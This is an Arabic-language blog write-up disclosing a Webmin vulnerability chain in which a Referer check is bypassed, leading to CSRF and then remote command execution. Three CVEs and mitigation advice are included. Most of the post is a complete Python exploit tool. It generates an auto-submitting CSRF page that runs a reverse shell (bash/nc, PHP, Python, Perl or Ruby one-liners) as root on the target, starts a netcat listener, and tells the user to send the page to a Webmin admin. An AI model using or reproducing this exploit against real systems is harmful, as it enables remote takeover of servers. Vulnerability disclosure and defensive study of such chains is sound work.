Referrer Header Bypass > CSRF > Running Process endpoint > RCE > 0days > 3 CVEs > Webmin HOF

Mesh3l
6 min readMay 17, 2021

--

بسم الله الرحمن الرحيم

يالله حيهم ^_^ , كل عآم وأنتم بألف خير يارب

@Mesh3l_911 & @electronicbots

Referrer Header Bypass :

نحاول نختصر بقدر المستطاع , مثل ماأنتم عارفين الويب مين يعتبر أوبن سورس وهذي نبذة عنه

فكانت الخطوة الأولى هي إننا ناخذه عاللوكال هوست ونبدأ فحص لكن قبل تبدأ فحص دائما شي جميل تكون عندك صورة مبدأية عن الشي اللي راح تتعامل معه

طيب وش أقصد ؟ الويب مين بإختصار نقدر نعتبره كونترول بانل , والكونترول بانلز (مجازا) عبارة عن آكشنز

طيب بعد ماطبقنا أحد الآكشنز الموجودة كان مافيه أي نوع من أنواع الحماية من

CSRF

إلا شي واحد للأسف وهو الريفيرر هيدر وكان مايقبل إلا

Referer: same as the Host

طيب إيش هو الريفرر هيدر أصلا؟ ( مجازا ) هو العنوان اللي جاي منه الريكويست

طيب ليش قلنا للأسف ؟ لأن الريفرر هيدر مانقدر نسوي له

Spoofing

ملاحظة : هنا مانتكلم عن الإستثناءات زي ماحصل قبل أربع سنوات في ثغرة متصفح

Edge/IE

https://www.brokenbrowser.com/referer-spoofing-defeating-xss-filter/

صراحة عشان أكون صادق موضوع الريفيرر هيدر موضوع كبير وفيه تفاصيل كثيرة ( بالنسبة لي ) وممكن أخصص موضوع أو بحث كامل فالمستقبل عن الريفرر هيدر من الأساس ثم نناقش بعض الطرق لتخطيه

لكن حاليا راح نشرح الطريقة اللي عن طريقها قدرنا نتخطى الريفرر هيدر

بعد محاولات كثير توصلنا فالأخير إننا نقدر نتخطى الريفرر هيدر بسهولة عن طريق إرسال ريكويست بدون ريفرر هيدر من الأساس

طيب حلو عرفنا طريقة التخطي بس كيف ممكن أرسل ريكويست بدون ريفرر هيدر أصلا ؟ فيه عدة طرق

ومنها بعض الـ

Referrer-Policy

مصدر ممتاز :

https://www.w3.org/TR/referrer-policy/

طيب قبل نبدأ بإستخدامها خلونا بس نسوي محاكاة للي كان يصير فالباك اند

هذا كود بي اتش بي بسيط عدلت عليه عشان بس أي أحد يقدر يجرب السيناريو كامل , التطبيق أهم شي

referer.php

<?php

if(isset($_SERVER[‘HTTP_REFERER’], $_SERVER[‘HTTP_HOST’])){
if(parse_url($_SERVER[‘HTTP_REFERER’], PHP_URL_HOST)!=$_SERVER[‘HTTP_HOST’]){

echo “Anti-CSRF”; //Referer: http://meshal-mohammed.com ( != HOST )
}
else{
echo “Welcome”; //Referer: http://127.0.0.1 ( === HOST )
}
}
else{
echo “Bypassed”; //no-referrer
}

?>

الكود بكل إختصار يسوي حاجتين

الأولى : يتأكد من وجود هوست وريفيرر هيدرز

الثانية : يتأكد إن الريفيرر هيدر يساوي الهوست هيدر

معناتها أي ريكويست جاي من خارج التطبيق ماراح ينقبل

نجرب

هنا أرست ريكويست لكن الريفيرر هيدر مايساوي الهوست , النتيجة

طيب هنا أرسلت ريكويست لكن الهوست يساوي الريفيرر

والنتيجة

CSRF

بعد ماعرفنا الطريقة باقي علينا فقط نجهز الـ

CSRF POC

بإستخدام

no-referrer policy

طيب ليش اخترناها ؟ بكل بساطة لإنها ترسل الريكويست

Referer: No data

فيه بوليسيز ثانية زي مثلا

strict-origin , no-referrer-when-downgrade …etc

لكن لها بعض الشروط ومنها على سبيل المثال هو إن الريكويست يكون

HTTPS to HTTP

Recap

فالبداية تأكدنا مافيه أي نوع من أنواع الحماية غير الريفيرر , وبعد ماجربنا عدة طرق لتخطي الريفيرر توصلنا أخيرا إلى إمكانية تخطيه عن طريق إرسال ريكويست بدون ريفرر من الأساس , بعدها قررنا إستخدام أحد الريفيرر بوليسيز اللي نقدر عن طريقها نرسل ريكويست بدون ريفيرر هيدر

CSRF POC

POC.html

طيب نجرب ؟

على نفس مثالنا فوق , أرسلت الريكويست

والنتيجة ^_^

وبكذا قدرنا نستغل الـ

Referrer bad implementation

RCE

ذكرت فالبداية بأن الويب مين عبارة عن كنترول بانل مكونة من عدة آكشنز , بكل بساطة أحد الآكشنز كان

Running Process

فبكذا خلاص إكتملت السايكل , عندنا

CSRF + Running Process endpoint = RCE

Final expl0it

Exploiting a Cross-site request forgery (CSRF) attack to get a Remote Command Execution (RCE) through the Webmin’s running process feature

import time, subprocess,random

print('''\033[1;37m

__ __ _ ____ _ _________ _ _ _
| \/ | | | |___ \| | |___ / _ \| | | | | |
| \ / | ___ ___| |__ __) | | / / | | | | __| |_ _ ___| | __
| |\/| |/ _ \/ __| '_ \ |__ <| | / /| | | | |/ _` | | | |/ __| |/ /
| | | | __/\__ \ | | |___) | | _ _ / /_| |_| | | (_| | |_| | (__| <
|_| |_|\___||___/_| |_|____/|_| (_|_) /_____\___/|_|\__,_|\__, |\___|_|\_/
__/ |
|___/

\033[1;m''')

for i in range(101):
print(
"\r\033[1;36m [>] POC By \033[1;m \033[1;37mMesh3l\033[1;m \033[1;36m ( \033[1;m\033[1;37m@Mesh3l_911\033[1;m\033[1;36m ) & \033[1;m \033[1;37mZ0ldyck\033[1;m\033[1;36m ( \033[1;m\033[1;37m@electronicbots\033[1;m\033[1;36m ) \033[1;m {} \033[1;m".format(
i), "\033[1;36m%\033[1;m", end="")
time.sleep(0.02)
print("\n\n")

target = input(
"\033[1;36m \n Please input ur target's webmin path e.g. ( https://webmin.Mesh3l-Mohammed.com/ ) > \033[1;m")

if target.endswith('/'):
target = target + 'proc/run.cgi'
else:
target = target + '/proc/run.cgi'

ip = input("\033[1;36m \n Please input ur IP to set up the Reverse Shell e.g. ( 10.10.10.10 ) > \033[1;m")

port = input("\033[1;36m \n Please input a Port to set up the Reverse Shell e.g. ( 1337 ) > \033[1;m")

ReverseShell = input \
('''\033[1;37m
\n
1- Bash Reverse Shell \n
2- PHP Reverse Shell \n
3- Python Reverse Shell \n
4- Perl Reverse Shell \n
5- Ruby Reverse Shell \n
\033[1;m

\033[1;36mPlease insert the number Reverse Shell's type u want e.g. ( 1 ) > \033[1;m''')

file_name = random.randrange(1000)

if ReverseShell == '1':
ReverseShell = 'mkfifo /tmp/'+str(file_name)+'; nc '+ip+' '+port+' 0</tmp/'+str(file_name)+' | /bin/sh >/tmp/'+str(file_name)+' 2>&1; rm /tmp/'+str(file_name)+''

elif ReverseShell == '2':
ReverseShell = ''' php -r '$sock=fsockopen("''' + ip + '''",''' + port + ''');exec("/bin/sh -i <&3 >&3 2>&3");' '''

elif ReverseShell == '3':
ReverseShell = ''' python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("''' + ip + '''",''' + port + '''));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' '''

elif ReverseShell == '4':
ReverseShell = ''' perl -e 'use Socket;$i="''' + ip + '''";$p=''' + port + ''';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' '''

elif ReverseShell == '5':
ReverseShell = ''' ruby -rsocket -e'f=TCPSocket.open("''' + ip + '''",''' + port + ''').to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' '''

else:
print("\033[1;36m \n Please Re-Check ur input :( \033[1;m \n")


def CSRF_Generator():
with open('CSRF_POC.html', 'w') as POC:
POC.write \
('''

<html>
<head>
<meta name="referrer" content="never">
</head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="''' + target +'''" method="POST">
<input type="hidden" name="cmd" value="''' + ReverseShell + '''" />
<input type="hidden" name="mode" value="0" />
<input type="hidden" name="user" value="root" />
<input type="hidden" name="input" value="" />
<input type="hidden" name="undefined" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>

</html>

''')
POC.close()

print(
"\033[1;36m\nThe CSRF_POC has been generated successfully , send it to a Webmin's Admin and wait for your Reverse Shell ^_^ \n \033[1;m")


def Netcat_listener():
print()
subprocess.run(["nc", "-nlvp "+port+""])


def main():
CSRF_Generator()
Netcat_listener()


if __name__ == '__main__':
main()

CSRF 2 RCE POC

https://youtu.be/D45FN8QrzDo

CVEs

CVE-2021–31760

CVE-2021–31761

CVE-2021–31762

تلاقونها كلها هنا بكامل التفاصيل

https://github.com/mesh3l911

https://github.com/electronicbots

POCs Playlist

https://www.youtube.com/watch?v=23VvUMu-28c&list=PL4swBO32x3aGoHrDThcmORHfeC4L11u8g

Webmin HOF

Webmin HOF

Mitigation

فيه تحديث جديد نزلوه قبل 18 يوم

Webmin 1.974

أو إضافة

referers_none=1

إلى

/etc/webmin/config

Time-Line :

صراحة كان سريع جدا سواء من ويب مين أو من مايتر

وتقريبا خلال 3 أيام فقط تم تسجيل الـ

CVEs

Finally

نتمنى والله العظيم الرايت اب هذا يفيد ولو شخص واحد , ومانبغا منكم غير دعوة لنا ولوالدينا ولمن يعز علينا

واجهنا شوي صعوبة في كتابة الرايت اب بالعربي فبعض المصطلحات دخلناها بالجدار لكن الشكوى لله.

اللهم إن أخطأنا فمن أنفسنا ومن الشيطان وإن أصبنا فمن فضلك وكرمك وجودك

دعواتكم

Happy Testing ^_^

Twitter Accounts

@Mesh3l_911
@electronicbots

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

Mesh3l
Mesh3l

No responses yet

Write a response